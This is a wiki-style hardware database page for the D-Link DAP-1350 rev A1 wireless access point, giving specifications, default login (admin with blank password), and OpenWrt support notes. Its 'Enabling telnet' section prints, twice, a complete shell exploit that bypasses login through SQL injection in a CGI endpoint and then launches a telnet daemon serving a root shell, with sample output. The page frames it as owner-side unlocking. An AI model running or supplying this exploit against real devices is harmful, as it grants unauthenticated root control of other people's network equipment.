D-Link DAP-1350 rev A1

Default SSID: dlink (37 addl. devices)
Default IP address: 192.168.0.50
the IP 192.168.0.50 is used by 62 additional devices
of which 62 are D-Link devices
Default login user: admin
Default login password: blank
admin:blank credentials used by 367 additional devices
of which 192 are D-Link devices

Manuf/OEM/ODM

Cameo

3rd Party Firmware Support

OpenWrt (Was)

Retail

Availability

End of Life

FCC approval date

15 September 2009

ASIN

B003Q9AZHU

Country of manuf

China

Physical

LEDs/Color

Blue/Red

Radio 1

Chip1

Ralink RT3052

Wireless interface OUI

00:18:E7

Antenna Connector Type

Internal

MIMO status

2x2:2

Wireless Standard

IEEE 802.11b/g/n

802.11n

up to 300 Mbps

802.11g

up to 54 Mbps

802.11b

up to 11 Mbps

WiFi Operating Frequency

2.4 GHz

	CPU1 brand	Radio1 chip1 brand	Radio1 chip2 brand
D-Link DAP-1350 rev A1	Ralink	Ralink
D-Link DAP-1350 rev B1	Ralink	Ralink

For a list of all currently documented Ralink chipsets with specifications, see Ralink.

For a list of all currently documented D-Link device with specifications, see D-Link.

• 300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.) = N300 class

Overview

Interface emulator

Links of Interest

Forum threads

OpenWRT trunk contains support for the DAP-1350, however, the 12.09-beta is broken.

You can build your own firmware now or wait for the Attitude Adjustment release.

Flashing

NOTE: During configuration or flashing a device, the only things that should be hooked to the device is the computer and power.

Flashing OpenWrt

This device is NOT RECOMMENDED for future use with OpenWrt due to low flash/ram. DO NOT BUY DEVICES WITH 4MB FLASH / 32MB RAM if you intend to flash an up-to-date and secure OpenWrt version onto it! See 4/32 warning for details.

This device does not have sufficient resources (flash and/or RAM) to provide secure and reliable operation. This means that even setting a password or changing simple network settings might not be possible any more, rendering the device effectively useless. See OpenWrt on 4/32 devices what you can do now.

OpenWrt support for this device has ended in 2022.
19.07.10 was the last official build for 4/32 devices.

On the OpenWrt ToH (techdata entry)
On the OpenWrt Wiki
On the OpenWrt Forum
OpenWrt Target: ramips
OpenWrt Subtarget: rt305x
OpenWrt Package architecture: mipsel_24kc
Support started version: 12.09
Current supported version: 22.03.7

Please insert instructions here

JTAG-Serial Info

Serial

Enabling telnet

A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.

A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.

telnet • >>
#!/bin/ksh # DAP-1350 telnetd, by brynet. # This effect all stock firmware images for the device. # Tested on OpenBSD. host=$1 if [ $# -ne 1 ]; then echo "usage: $0 host or ip" exit 1; fi base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\ "Host: ${host}\r\nConnection: keep-alive\r\n"\ "Content-Type: application/x-www-form-urlencoded\r\n" # user_name=admin # user_pwd=';select 1;-- login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ" login_clen="Content-Length: $(echo -n ${login_cmd} \| wc -c)\r\n\r\n" login_req="${base_req}${login_clen}${login_cmd}" echo $login_req \| nc $host 80 \| grep default > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "Authenticated." else echo "Failed." exit 1; fi telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh" telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} \| wc -c)\r\n\r\n" telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}" echo $telnetd_req \| nc $host 80 > /dev/null 2>&1 sleep 2; nc -z $host 23 > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "Root shell, okey doke." telnet $host else echo "No root.. sorry, heh." exit 1; fi Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary. $ ./exploit.sh dlinkap # 192.168.0.50 Authenticated. Root shell, okey doke. Trying 192.168.0.50... Connected to dlinkap. Escape character is '^]'. ... motd/etc. # The factory set root password is unknown, so no login(1) process is started. You must run the exploit script each time the device is powered on.

telnet • >>

#!/bin/ksh

# DAP-1350 telnetd, by brynet.
# This effect all stock firmware images for the device.
# Tested on OpenBSD.

host=$1
if [ $# -ne 1 ]; then
	echo "usage: $0 host or ip"
	exit 1;
fi
base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\
"Host: ${host}\r\nConnection: keep-alive\r\n"\
"Content-Type: application/x-www-form-urlencoded\r\n"

# user_name=admin
# user_pwd=';select 1;--
login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ"
login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n"
login_req="${base_req}${login_clen}${login_cmd}"

echo $login_req | nc $host 80 | grep default > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Authenticated."
else
	echo "Failed."
	exit 1;
fi
telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh"
telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n"
telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}"

echo $telnetd_req | nc $host 80 > /dev/null 2>&1
sleep 2; nc -z $host 23 > /dev/null 2>&1
if [ $? -eq 0 ]; then
	echo "Root shell, okey doke."
	telnet $host
else
	echo "No root.. sorry, heh."
	exit 1;
fi

Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary.

    $ ./exploit.sh dlinkap # 192.168.0.50
    Authenticated.
    Root shell, okey doke.
    Trying 192.168.0.50...
    Connected to dlinkap.
    Escape character is '^]'.
    ... motd/etc.
    #

The factory set root password is unknown, so no login(1) process is started.
You must run the exploit script each time the device is powered on.

Pictures

Retail Images

Overview

Links of Interest

Forum threads

Flashing

Flashing OpenWrt

JTAG-Serial Info

Serial

Enabling telnet

Pictures

Navigation menu

Page actions

Page actions

Personal tools

Search

Navigation

data/misc

Tools

query forms

ShoutWiki messages